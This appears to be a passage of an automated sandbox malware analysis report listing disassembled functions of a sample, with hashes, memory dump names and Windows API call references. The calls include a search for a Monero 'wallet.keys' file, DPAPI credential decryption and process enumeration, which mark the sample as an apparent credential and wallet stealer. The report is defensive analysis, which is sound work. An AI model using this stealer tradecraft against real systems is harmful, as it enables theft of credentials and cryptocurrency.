Opcode Fuzzy Hash: 7ffd7e6afa5487430b2f2155ab6f33f6cc1c63bbbf0e7070b899c26c0ddd00d5
Instruction Fuzzy Hash: 9BB24BF3A0C2049FE3086E2DEC8567ABBD5EF94720F1A863DEAC5C3744E93558058697

Function 0137BA0D Relevance: 10.4, Strings: 7, Instructions: 1602COMMON

Download Yara Rule

Strings

|;8', xrefs: 0137C17F
}=5-, xrefs: 0137C89B
VG~u, xrefs: 0137C734
v=z', xrefs: 0137BACE
b*~^, xrefs: 0137BE9A
2p}{, xrefs: 0137C532
Ey;~, xrefs: 0137C1F3

Memory Dump Source

Source File: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2p}{$Ey;~$VG~u$b*~^$v=z'$|;8'$}=5-
API String ID: 0-1889371713
Opcode ID: 4bebcf5dadbcabcb26c699edb3b3cb31a62fcd40ac284eff8d7e2dbf724e5d02
Instruction ID: 0a766712b60fc4e70884d4759ef6361abefd05d78bc9674aaca82246fedcfd6b
Opcode Fuzzy Hash: 4bebcf5dadbcabcb26c699edb3b3cb31a62fcd40ac284eff8d7e2dbf724e5d02
Instruction Fuzzy Hash: 50B2E6F3A086009FE3046F2DEC8566AFBE9EF94720F1A492DEAC4D3744E63558058797

Function 00FAE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FBA740: lstrcpy.KERNEL32(00FC0E17,00000000), ref: 00FBA788

Part of subcall function 00FBA920: lstrcpy.KERNEL32(00000000,?), ref: 00FBA972
Part of subcall function 00FBA920: lstrcat.KERNEL32(00000000), ref: 00FBA982

Part of subcall function 00FBA9B0: lstrlen.KERNEL32(?,008C8F50,?,\Monero\wallet.keys,00FC0E17), ref: 00FBA9C5
Part of subcall function 00FBA9B0: lstrcpy.KERNEL32(00000000), ref: 00FBAA04
Part of subcall function 00FBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FBAA12

Part of subcall function 00FBA8A0: lstrcpy.KERNEL32(?,00FC0E17), ref: 00FBA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00FC0D73), ref: 00FAE4A2
StrCmpCA.SHLWAPI(?,00FC14F8), ref: 00FAE4F2
StrCmpCA.SHLWAPI(?,00FC14FC), ref: 00FAE508
FindNextFileA.KERNEL32(000000FF,?), ref: 00FAEBDF

Strings

\*.*, xrefs: 00FAE44D

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 133947dfba822589dd06cf8bbe345b3142c6bf0b59591b74ff11cf6532233d24
Instruction ID: 34c481134777012a8015c91a4e12e0d56b3f3d6f17bac8079a423b6cd082718d
Opcode Fuzzy Hash: 133947dfba822589dd06cf8bbe345b3142c6bf0b59591b74ff11cf6532233d24
Instruction Fuzzy Hash: 13126871910118BBDB24FB71DDA6EED7378AF54300F4045A8B50A96091EF38AF49EF92

Function 01379E92 Relevance: 9.2, Strings: 6, Instructions: 1677COMMON

Download Yara Rule

Strings

,;LG, xrefs: 0137B11A
_um, xrefs: 0137AF55
x__", xrefs: 0137AF96
c-7, xrefs: 0137A069
4vVm, xrefs: 0137A34D
~3}_, xrefs: 0137A8A5

Memory Dump Source

Source File: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ,;LG$4vVm$_um$c-7$x__"$~3}_
API String ID: 0-3965853264
Opcode ID: 7c3e5e2f2b651a3865d96533d1522b1e032e33b1cd397e825b0c85a6619286db
Instruction ID: 32900f815220b75059c51e154914290a42d8060d763cf31f2f0a99b0d82c5066
Opcode Fuzzy Hash: 7c3e5e2f2b651a3865d96533d1522b1e032e33b1cd397e825b0c85a6619286db
Instruction Fuzzy Hash: D1B22CF3A0C204AFE3046E2DEC8567ABBD9EF94720F1A453DEAC5C3744EA3558058697

Function 0136C7F6 Relevance: 9.2, Strings: 6, Instructions: 1668COMMON

Download Yara Rule

Strings

9@z#, xrefs: 0136D7FF
~oq~, xrefs: 0136D7F9
fP|, xrefs: 0136D44B
aN|Y, xrefs: 0136CEB9
Xv/=, xrefs: 0136D05C
'Xu, xrefs: 0136C9E4

Memory Dump Source

Source File: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 'Xu$9@z#$Xv/=$aN|Y$fP|$~oq~
API String ID: 0-1385337697
Opcode ID: 348f9a77b03f76ea02e86d49561483dc26342a59fbf6c8890d9d299973251b34
Instruction ID: 372c6ce43f5f1afeaa2264d89a0d4cb0bb953587a41034dede4e9cabb50072ac
Opcode Fuzzy Hash: 348f9a77b03f76ea02e86d49561483dc26342a59fbf6c8890d9d299973251b34
Instruction Fuzzy Hash: 02B22BF3A082049FE304AE2DEC8567ABBD9EFD4720F1A853DEAC4C3744E93559058697

Function 01374E82 Relevance: 9.1, Strings: 6, Instructions: 1593COMMON

Download Yara Rule

Strings

vE_, xrefs: 01374FFC
/Jo|, xrefs: 01376159
l/y?, xrefs: 013756F3
>,A?, xrefs: 01375CCE
lI=, xrefs: 01374FA2
?#[t, xrefs: 013760FC

Memory Dump Source

Source File: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: /Jo|$>,A?$?#[t$l/y?$lI=$vE_
API String ID: 0-519695593
Opcode ID: 25aa053c7035132c157726be2f05c8397f38b206efeb08e6183c1ca938723619
Instruction ID: 438837dd9d4e05c665245c589b2567988dbbd99fb58cb27e6d1b505704dc780e
Opcode Fuzzy Hash: 25aa053c7035132c157726be2f05c8397f38b206efeb08e6183c1ca938723619
Instruction Fuzzy Hash: 73B2F5F3A0C214AFE3046F29EC8567AFBE9EF94720F1A492DE6C587340E63558418797

Function 01381116 Relevance: 8.6, Strings: 6, Instructions: 1107COMMON

Download Yara Rule

Strings

grw], xrefs: 013819B6
(>w, xrefs: 01381551
9/;, xrefs: 01381333
Q<L , xrefs: 01381D85
gr~], xrefs: 013815CB
Cz7>, xrefs: 01381602

Memory Dump Source

Source File: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: (>w$9/;$Cz7>$Q<L $grw]$gr~]
API String ID: 0-3341737076
Opcode ID: d3eccd56a21bd5e1299b25d85ed95e19a4aba32e7f8bb63ab86158c341720700
Instruction ID: d1f2454a986c060338e24d580167770e8d6a807ace9048729e70bf6b019ec362
Opcode Fuzzy Hash: d3eccd56a21bd5e1299b25d85ed95e19a4aba32e7f8bb63ab86158c341720700
Instruction Fuzzy Hash: 4F7216F3608200AFE7046E2DEC8577ABBE5EF94720F1A493DEAC4C7744E63598118697

Function 0137198C Relevance: 7.9, Strings: 5, Instructions: 1621COMMON

Download Yara Rule

Strings

5ins, xrefs: 01372848
l67, xrefs: 01372774
[w, xrefs: 01371A76
$_/, xrefs: 01372C73
#UM, xrefs: 01371BFF

Memory Dump Source

Source File: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: #UM$$_/$5ins$[w$l67
API String ID: 0-3994591404
Opcode ID: 8b1c89071fe80a56c6d04a42346b7b1f5098f724914047fb34f342b9390ee199
Instruction ID: c25827dc7d087391de19114c91f9849ce2aae955c2b4da3f5c9f2cd0ac424874
Opcode Fuzzy Hash: 8b1c89071fe80a56c6d04a42346b7b1f5098f724914047fb34f342b9390ee199
Instruction Fuzzy Hash: 6AB206F3A0C2149FE3046E2DEC8567ABBE9EF94320F1A453DEAC4C3744EA7558058697

Function 0136FF7E Relevance: 7.8, Strings: 5, Instructions: 1593COMMON

Download Yara Rule

Strings

ugo, xrefs: 01370267
ai{, xrefs: 01371289
~|_, xrefs: 013706C1
gHY|, xrefs: 01370DDF
q~o, xrefs: 0136FFE3

Memory Dump Source

Source File: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ai{$gHY|$~|_$q~o$ugo
API String ID: 0-401286909
Opcode ID: 07737e6af603c173caaa460c62f2b2f36b85350b3cbbaefb56c66d896bdb3c0c
Instruction ID: 5eda399b63443f90a540e5dc5b3e8bcddf05a96679264bb89b742163076fe541
Opcode Fuzzy Hash: 07737e6af603c173caaa460c62f2b2f36b85350b3cbbaefb56c66d896bdb3c0c
Instruction Fuzzy Hash: F4B2D5F350C200AFE708AE29EC4567AFBE9EF94720F1A892DE6C5C3344E63558458797

Function 0137F010 Relevance: 7.8, Strings: 5, Instructions: 1587COMMON

Download Yara Rule

Strings

+:, xrefs: 013802CA
VFX, xrefs: 0137FAD4
pU;~, xrefs: 0138005B
}dF, xrefs: 0137F281
:qj, xrefs: 0137FBD6

Memory Dump Source

Source File: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: :qj$VFX$pU;~$}dF$+:
API String ID: 0-3252026929
Opcode ID: e2a5bc310981b845c65c453aea104104ca25fcb0b826cec19acb32d07e5d8581
Instruction ID: 9e63710d9939b05e5a3b32c68c3941020a32ed5594bf8930b8ebcecda3bb638a
Opcode Fuzzy Hash: e2a5bc310981b845c65c453aea104104ca25fcb0b826cec19acb32d07e5d8581
Instruction Fuzzy Hash: DCB204F3A0C2049FE3086E29EC8567AFBE5EF94320F16492DEAC5C7744E63558418B97

Function 00FAC820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00FAC871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00FAC87C
lstrcat.KERNEL32(?,00FC0B46), ref: 00FAC943
lstrcat.KERNEL32(?,00FC0B47), ref: 00FAC957
lstrcat.KERNEL32(?,00FC0B4E), ref: 00FAC978

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 5a33d6ef675b1be2b148d51bb71b6ffabe0c3f852fc5c9ae03c185e70c55f816
Instruction ID: 2c7fd4d4546ae1e476249d91361f7247faa4152acc6665972a3939e6e0234483
Opcode Fuzzy Hash: 5a33d6ef675b1be2b148d51bb71b6ffabe0c3f852fc5c9ae03c185e70c55f816
Instruction Fuzzy Hash: D1414CB5D0421ADBDB24DFD0DD89BEEBBB8AF88304F1041A8F509A7280D7745A84DF91

Function 00FA7240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00FA724D
RtlAllocateHeap.NTDLL(00000000), ref: 00FA7254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00FA7281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00FA72A4
LocalFree.KERNEL32(?), ref: 00FA72AE

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 38e37d4ba890d5a8783697cd8cc51e19980d88534e9b4328d3f094584c880b5c
Instruction ID: 75d400aa119f68bd2249ccc443c9ccbfb5112eb5b11b7562c699d99f235e5497
Opcode Fuzzy Hash: 38e37d4ba890d5a8783697cd8cc51e19980d88534e9b4328d3f094584c880b5c
Instruction Fuzzy Hash: 1E0140B5A40308BBDB24DBD4DD46F9D77B8AB44701F104054FB15AB2C4DA70AA418B65

Function 00FB9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00FB961E
Process32First.KERNEL32(00FC0ACA,00000128), ref: 00FB9632
Process32Next.KERNEL32(00FC0ACA,00000128), ref: 00FB9647
StrCmpCA.SHLWAPI(?,00000000), ref: 00FB965C
CloseHandle.KERNEL32(00FC0ACA), ref: 00FB967A

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
